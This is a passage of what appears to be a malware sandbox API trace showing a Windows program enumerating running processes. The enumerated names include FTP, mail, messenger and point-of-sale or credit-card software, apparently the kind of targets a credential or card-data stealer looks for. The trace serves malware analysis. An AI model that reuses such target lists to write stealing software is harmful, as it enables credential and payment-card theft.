th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.192] lstrlenW (lpString="svchost.exe") returned 11 [0054.192] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0054.193] lstrlenW (lpString="audiodg.exe") returned 11 [0054.193] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.194] lstrlenW (lpString="svchost.exe") returned 11 [0054.194] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.196] lstrlenW (lpString="svchost.exe") returned 11 [0054.196] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0054.199] lstrlenW (lpString="dwm.exe") returned 7 [0054.199] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0054.200] lstrlenW (lpString="explorer.exe") returned 12 [0054.200] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0054.202] lstrlenW (lpString="spoolsv.exe") returned 11 [0054.202] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0054.203] lstrlenW (lpString="taskhost.exe") returned 12 [0054.203] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.205] lstrlenW (lpString="svchost.exe") returned 11 [0054.205] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0054.206] lstrlenW (lpString="taskeng.exe") returned 11 [0054.206] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0054.207] lstrlenW (lpString="taskhost.exe") returned 12 [0054.207] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.209] lstrlenW (lpString="svchost.exe") returned 11 [0054.209] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0054.210] lstrlenW (lpString="sppsvc.exe") returned 10 [0054.210] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.213] lstrlenW (lpString="svchost.exe") returned 11 [0054.213] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="cosmetics_involving_x.exe")) returned 1 [0054.215] lstrlenW (lpString="cosmetics_involving_x.exe") returned 25 [0054.215] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="visa thought.exe")) returned 1 [0054.216] lstrlenW (lpString="visa thought.exe") returned 16 [0054.216] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="instrumental.exe")) returned 1 [0054.217] lstrlenW (lpString="instrumental.exe") returned 16 [0054.217] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mouth tree.exe")) returned 1 [0054.218] lstrlenW (lpString="mouth tree.exe") returned 14 [0054.218] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x764, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="friday complete spiritual.exe")) returned 1 [0054.220] lstrlenW (lpString="friday complete spiritual.exe") returned 29 [0054.220] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thisul.exe")) returned 1 [0054.221] lstrlenW (lpString="thisul.exe") returned 10 [0054.221] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="adjacent-earlier.exe")) returned 1 [0054.222] lstrlenW (lpString="adjacent-earlier.exe") returned 20 [0054.222] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="tired grad keep.exe")) returned 1 [0054.223] lstrlenW (lpString="tired grad keep.exe") returned 19 [0054.223] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="basename_nested.exe")) returned 1 [0054.225] lstrlenW (lpString="basename_nested.exe") returned 19 [0054.225] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="reserves-pixel-minds.exe")) returned 1 [0054.226] lstrlenW (lpString="reserves-pixel-minds.exe") returned 24 [0054.226] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="securities-cpu-orange.exe")) returned 1 [0054.228] lstrlenW (lpString="securities-cpu-orange.exe") returned 25 [0054.229] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="exotic.exe")) returned 1 [0054.230] lstrlenW (lpString="exotic.exe") returned 10 [0054.230] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fisher arab disable.exe")) returned 1 [0054.232] lstrlenW (lpString="fisher arab disable.exe") returned 23 [0054.232] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="manufacture-mtv.exe")) returned 1 [0054.233] lstrlenW (lpString="manufacture-mtv.exe") returned 19 [0054.233] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="syndicaterssidentity.exe")) returned 1 [0054.234] lstrlenW (lpString="syndicaterssidentity.exe") returned 24 [0054.234] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="belfastcreationdeposit.exe")) returned 1 [0054.236] lstrlenW (lpString="belfastcreationdeposit.exe") returned 26 [0054.236] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patient.exe")) returned 1 [0054.237] lstrlenW (lpString="patient.exe") returned 11 [0054.237] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="corps.exe")) returned 1 [0054.246] lstrlenW (lpString="corps.exe") returned 9 [0054.246] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="inquire.exe")) returned 1 [0054.247] lstrlenW (lpString="inquire.exe") returned 11 [0054.247] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0054.249] lstrlenW (lpString="3dftp.exe") returned 9 [0054.249] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0054.250] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0054.250] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0054.251] lstrlenW (lpString="alftp.exe") returned 9 [0054.251] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0054.253] lstrlenW (lpString="barca.exe") returned 9 [0054.253] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0054.254] lstrlenW (lpString="bitkinex.exe") returned 12 [0054.254] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0054.256] lstrlenW (lpString="coreftp.exe") returned 11 [0054.256] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0054.257] lstrlenW (lpString="far.exe") returned 7 [0054.257] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0054.260] lstrlenW (lpString="filezilla.exe") returned 13 [0054.261] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0054.262] lstrlenW (lpString="flashfxp.exe") returned 12 [0054.262] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0054.263] lstrlenW (lpString="fling.exe") returned 9 [0054.263] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0054.265] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0054.265] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0054.267] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0054.267] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0054.269] lstrlenW (lpString="icq.exe") returned 7 [0054.269] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0054.271] lstrlenW (lpString="leechftp.exe") returned 12 [0054.271] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0054.273] lstrlenW (lpString="ncftp.exe") returned 9 [0054.273] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0054.276] lstrlenW (lpString="notepad.exe") returned 11 [0054.276] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0054.279] lstrlenW (lpString="operamail.exe") returned 13 [0054.279] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0054.281] lstrlenW (lpString="outlook.exe") returned 11 [0054.295] CloseHandle (hObject=0xe4) returned 1 [0054.296] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0054.298] lstrlenW (lpString="pidgin.exe") returned 10 [0054.298] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0054.300] lstrlenW (lpString="scriptftp.exe") returned 13 [0054.300] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0054.302] lstrlenW (lpString="skype.exe") returned 9 [0054.303] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0054.305] lstrlenW (lpString="smartftp.exe") returned 12 [0054.305] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0054.307] lstrlenW (lpString="thunderbird.exe") returned 15 [0054.377] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0054.379] lstrlenW (lpString="totalcmd.exe") returned 12 [0054.379] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0054.381] lstrlenW (lpString="trillian.exe") returned 12 [0054.381] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0054.383] lstrlenW (lpString="webdrive.exe") returned 12 [0054.383] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0054.386] lstrlenW (lpString="whatsapp.exe") returned 12 [0054.386] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0054.388] lstrlenW (lpString="winscp.exe") returned 10 [0054.388] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0054.390] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0054.390] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0054.392] lstrlenW (lpString="active-charge.exe") returned 17 [0054.392] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0054.395] lstrlenW (lpString="accupos.exe") returned 11 [0054.395] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0054.397] lstrlenW (lpString="afr38.exe") returned 9 [0054.397] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0054.399] lstrlenW (lpString="aldelo.exe") returned 10 [0054.399] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0054.401] lstrlenW (lpString="ccv_server.exe") returned 14 [0054.402] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0054.403] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0054.404] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0054.405] lstrlenW (lpString="creditservice.exe") returned 17 [0054.405] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0054.407] lstrlenW (lpString="edcsvr.exe") returned 10 [0054.407] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0054.409] lstrlenW (lpString="fpos.exe") returned 8 [0054.409] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, 